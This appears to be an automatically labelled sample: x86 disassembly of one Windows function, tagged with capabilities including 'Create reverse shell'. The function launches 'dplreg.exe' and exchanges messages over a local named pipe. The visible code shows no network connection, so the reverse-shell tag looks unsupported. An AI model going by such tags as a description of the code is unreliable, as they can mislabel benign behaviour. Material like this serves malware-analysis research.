Function at 0x10050e70
Capabilities:
Check os version
Connect pipe
Create process on windows
Create reverse shell
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push esi
push edi
lea edi, [ebp - 0x3f4]
mov ecx, 0xfd
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x101b32cc]
xor eax, ebp
mov dword [ebp - 4], eax
mov esi, esp
push str.57B5E7EB_0283_442e_B780_0B6832D21388
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp esi, esp
call fcn.10097d90
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10051012
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.1009d620
add esp, 0xc
mov esi, esp
push 0x104
lea ecx, [ebp - 0x110]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, esp
call fcn.10097d90
test eax, eax
jne 0x10050f00
mov eax, 1
jmp 0x100511a9
mov esi, esp
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
cmp esi, esp
call fcn.10097d90
mov esi, esp
push str.dplreg.exe
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
cmp esi, esp
call fcn.10097d90
push 0x114
push 0
lea ecx, [ebp - 0x22c]
push ecx
call fcn.1009d620
add esp, 0xc
mov dword [ebp - 0x22c], 0x114
mov esi, esp
lea edx, [ebp - 0x22c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp esi, esp
call fcn.10097d90
mov dword [ebp - 0x234], 0
cmp dword [ebp - 0x228], 6
jb 0x10050f84
mov dword [ebp - 0x234], str.open
push 0x3c
push 0
lea eax, [ebp - 0x274]
push eax
call fcn.1009d620
add esp, 0xc
mov dword [ebp - 0x274], 0x3c
mov dword [ebp - 0x270], 0
mov ecx, dword [ebp - 0x234]
mov dword [ebp - 0x268], ecx
lea edx, [ebp - 0x110]
mov dword [ebp - 0x264], edx
mov esi, esp
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
cmp esi, esp
call fcn.10097d90
test eax, eax
jne 0x10051012
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.10097d90
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x4c7
jne 0x10051008
mov eax, 8
jmp 0x100511a9
mov eax, 1
jmp 0x100511a9
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x29c]
call fcn.1000a5e0
push 0x100
push 0
lea edx, [ebp - 0x3a4]
push edx
call fcn.1009d620
add esp, 0xc
mov dword [ebp - 0x3ac], 0x100
mov dword [ebp - 0x3b4], 0
mov dword [ebp - 0x3bc], 5
mov dword [ebp - 0x3c0], 0
mov dword [ebp - 0x3c4], 0
cmp dword [ebp - 0x3c4], 0
jne 0x100510e9
mov eax, dword [ebp - 0x3c0]
add eax, 1
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 5
jg 0x100510e9
mov esi, esp
push 0x2710
lea ecx, [ebp - 0x3b4]
push ecx
mov edx, dword [ebp - 0x3ac]
push edx
lea eax, [ebp - 0x3a4]
push eax
lea ecx, [ebp - 0x29c]
call fcn.1000f160
push eax
lea ecx, [ebp - 0x29c]
call fcn.1000ec90
push eax
push str..pipepipe_dplreg
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
cmp esi, esp
call fcn.10097d90
mov dword [ebp - 0x3c4], eax
mov esi, esp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.10097d90
jmp 0x10051069
lea ecx, [ebp - 0x3a4]
push ecx
lea ecx, [ebp - 0x3e4]
call fcn.1000a5e0
push str.previously_registered
lea edx, [ebp - 0x3e4]
push edx
call fcn.1004f6e0
add esp, 8
movzx eax, al
test eax, eax
je 0x10051140
mov dword [ebp - 0x3ec], 5
lea ecx, [ebp - 0x3e4]
call fcn.1000b3d0
lea ecx, [ebp - 0x29c]
call fcn.1000b3d0
mov eax, dword [ebp - 0x3ec]
jmp 0x100511a9
push str.success
lea ecx, [ebp - 0x3e4]
push ecx
call fcn.1004f6e0
add esp, 8
movzx edx, al
test edx, edx
je 0x10051183
mov dword [ebp - 0x3f0], 0
lea ecx, [ebp - 0x3e4]
call fcn.1000b3d0
lea ecx, [ebp - 0x29c]
call fcn.1000b3d0
mov eax, dword [ebp - 0x3f0]
jmp 0x100511a9
mov dword [ebp - 0x3f4], 1
lea ecx, [ebp - 0x3e4]
call fcn.1000b3d0
lea ecx, [ebp - 0x29c]
call fcn.1000b3d0
mov eax, dword [ebp - 0x3f4]
push edx
mov ecx, ebp
push eax
lea edx, [0x100511d8]
call fcn.10097d30
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10097dc0
add esp, 0x3f4
cmp ebp, esp
call fcn.10097d90
mov esp, ebp
pop ebp
ret